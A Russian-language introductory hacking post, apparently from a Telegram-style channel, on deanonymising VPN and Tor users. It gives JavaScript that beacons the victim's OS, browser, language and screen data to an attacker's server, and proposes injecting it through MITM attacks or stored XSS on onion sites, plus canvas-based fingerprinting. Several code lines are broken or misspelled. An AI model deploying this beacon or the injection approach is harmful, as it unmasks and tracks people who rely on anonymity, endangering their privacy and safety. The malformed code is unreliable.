Деанонимизация пользователей. Введение.

Деанонимизация пользователей. Введение.

@Torchik_Ru

Многие думают, что раз они настроили VPN или Tor, то шанс, что их вычислят равен 0. Они не правы. Вообще, что значит сам термин Деанонимизация?

Деанонимизация - это нарушение анонимности, когда о вас узнают, то что вы скрывали начиная от ip адреса, заканчивая Именем и Фамилией. Все мы оставляем некие цифровые следы или как их еще называют кибер тень. Это информация о нас как долго мы находились в сети, наши куки, информация о разрешении нашего монитора, установленных в системе шрифтов, часового пояса, какие плагины установлены в вашем браузере. Из всех полученных данных составляют цифровой след. Далее идет система мониторинга, т.е идет сравнение следа, где и какие сайты вы посещали. Соглашусь, что звучит это как-то нереально, это действительно рабочий способ, давно применяемый на практике. Итак, давайте приступим к написания скрипта.

Первое, что нам нужно узнать - это OC:

var pic = new Image();
pic.src = 'http:Youserver//?info='+navigator.platform; // OC

Далее нам нужно собрать HTTP заголовки и информацию о браузере:

pic.src ='http:Youserver//?info='+ navigator.appName //Имя браузера
pic.src = 'http:Youserver//?info='+ navigator.userAgent //Агент пользователя
pic.src = 'http:Youserver//?info='+ navigator.appVersion //Версия броузера
pic.src = 'http:Youserver//?info='+ lnavigator.language //Язык системы

Далее соберем как можно более подробную информацию о компьютере:

pic.src = +screen.width //Ширина монитора
pic.scr = 'http:Youserver//?info='+screen.height //Высота монитора
pic.src = 'http:Youserver//?info='+screen.pixelDepth //Разрешение монитора
pic.src = 'http:Youserver//?info='+screen.colorDepth //Цетовая гамма

А этот код выведет оставшуюся информацию из объекта navigator:

for(var prop in navigator) {
if (navigator[prop] instanceof Object || navigator[prop]==='') continue
conole.log(prop+": "+navigator[prop])
}

Так как это вводная статья мы остановимся. И перейдем к способам деанонимизации Tor. Итак, допустим наша цель пользуется Tor и чувствует себя вполне безопасно. Что же мы можем сделать, мы можем провести MITM атаку и вставить Javascript код во все посещаемые страницы. Можем поднять подготовленную страницу под определенную аудиторию, допустим наша цель любит Хакерские форумы. Найти уязвимые к хранимым XSS сайты и вставить наш код. Исследователи просканировали 100 onion сайтов и 30% из них были уязвимы к XSS. Мы можем собрать уникальную БД цифровых следов. Идентифицировать Tor пользователя можно использую функцию:

measureText() и getBoundingClientRect()

Если мы получим уникальное значение, то мы сможем идентифицировать пользователя. Первая функция измеряет ширину текста, а вторая позволяют узнать ширину и высоту прямоугольника. Еще способы идентификации это измерить скорость взаимодействия с колёсиком мыши и получить характеристику CPU пользователя.

Noscript снизит риск всего на 50%. Так что сильно на него не надейтесь. Это была теоретическая статья и в следующей статье мы рассмотрим на практики, где в качестве цели будем идентифицировать пользователей уязвимого onion сайта. Пока насчет MITM атаки не знаю, но XSS будет точно. 

Report Page